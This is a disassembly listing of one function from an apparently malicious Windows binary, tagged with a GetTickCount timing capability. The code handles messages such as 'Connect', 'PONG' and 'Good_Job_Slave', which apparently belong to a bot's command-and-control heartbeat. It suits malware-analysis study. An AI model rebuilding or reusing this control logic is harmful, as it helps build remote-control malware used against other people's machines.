Function at 0x14004d9c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov r11, rsp
sub rsp, 0x878
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x860], rax
cmp qword [0x1400acff0], rcx
jne 0x14004dcda
mov eax, dword [0x1400ad40e]
mov qword [r11 + 8], rbx
mov qword [r11 - 8], rdi
lea rdi, [0x1400ad00e]
xor ebx, ebx
xor edx, edx
mov rcx, rdi
mov r8d, 0x400
mov dword [rsp + 0x40], ebx
xchg dword [rsp + 0x40], eax
call fcn.14005fe50
mov rcx, qword [0x1400acff0]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x44]
lea r8d, [rbx + 1]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x58], rdi
mov dword [rsp + 0x50], 0x400
mov dword [rsp + 0x44], ebx
mov dword [rsp + 0x48], ebx
call qword [0x1400abc60]
cmp dword [rsp + 0x40], 1
mov rbx, qword [rsp + 0x880]
jne 0x14004db6b
cmp eax, 0xffffffff
je 0x14004db70
lea rdx, str.TCP_Protocol
mov r8d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov rcx, rdi
call fcn.14006036c
test eax, eax
je 0x14004db61
lea rdx, str.UDP_Protocol
mov r8d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov rcx, rdi
call fcn.14006036c
test eax, eax
je 0x14004db61
lea rdx, str.Connect
mov r8d, 8
mov rcx, rdi
call fcn.14006036c
test eax, eax
jne 0x14004db13
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x60], al
call fcn.14005fe50
lea rcx, [rsp + 0x60]
mov r8d, 0x3ff
mov rdx, rdi
call fcn.140060000
xor edx, edx
mov r8d, 0x400
mov rcx, rdi
call fcn.14005fe50
lea rcx, [rsp + 0x60]
call fcn.14004d970
jmp 0x14004dcd2
lea rdx, [0x140086dc8]
mov r8d, 4
mov rcx, rdi
call fcn.14006036c
test eax, eax
jne 0x14004dcd2
xor edx, edx
mov r8d, 0x400
mov rcx, rdi
call fcn.14005fe50
mov rcx, qword [0x1400acff0]
lea rdx, str.PONG
mov r8d, 4
call fcn.140004dc0
cmp eax, 4
jmp 0x14004dcc4
call fcn.140047020
jmp 0x14004dcd2
cmp eax, 0xffffffff
jne 0x14004db9d
call qword [0x1400acda0]
cmp eax, 0x2733
je 0x14004dcd2
mov rcx, qword [0x1400ad4a0]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x12]
call qword [sym.imp.USER32.dll_PostMessageA]
jmp 0x14004dcd2
lea rdx, str.Good_Job_Slave
mov r8d, SQLNumResultCols
mov rcx, rdi
call fcn.14006036c
test eax, eax
jne 0x14004dc15
xor edx, edx
mov r8d, 0x400
mov rcx, rdi
call fcn.14005fe50
mov r11d, 1
xchg dword [0x1400ad40e], r11d
mov dword [0x1400ad8cc], 1
mov dword [0x1400ad8c8], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rdx, qword [0x1400acff0]
mov rcx, qword [0x1400ad4a0]
xor r9d, r9d
mov r8d, 0x7530
mov dword [0x1400ad412], eax
call qword [sym.imp.USER32.dll_SetTimer]
jmp 0x14004dcd2
lea rdx, str.Connect
mov r8d, 8
mov rcx, rdi
call fcn.14006036c
test eax, eax
jne 0x14004dc7f
lea rcx, [rsp + 0x461]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x460], al
call fcn.14005fe50
lea rcx, [rsp + 0x460]
mov r8d, 0x3ff
mov rdx, rdi
call fcn.140060000
xor edx, edx
mov r8d, 0x400
mov rcx, rdi
call fcn.14005fe50
lea rcx, [rsp + 0x460]
call fcn.14004d970
jmp 0x14004dcd2
lea rdx, [0x140086dc8]
mov r8d, 4
mov rcx, rdi
call fcn.14006036c
test eax, eax
jne 0x14004dcd2
xor edx, edx
mov r8d, 0x400
mov rcx, rdi
call fcn.14005fe50
mov rcx, qword [0x1400acff0]
lea rdx, str.PONG
mov r8d, 4
call fcn.140004dc0
cmp eax, 4
jne 0x14004dcd2
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1400ad412], eax
mov rdi, qword [rsp + 0x870]
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x878
ret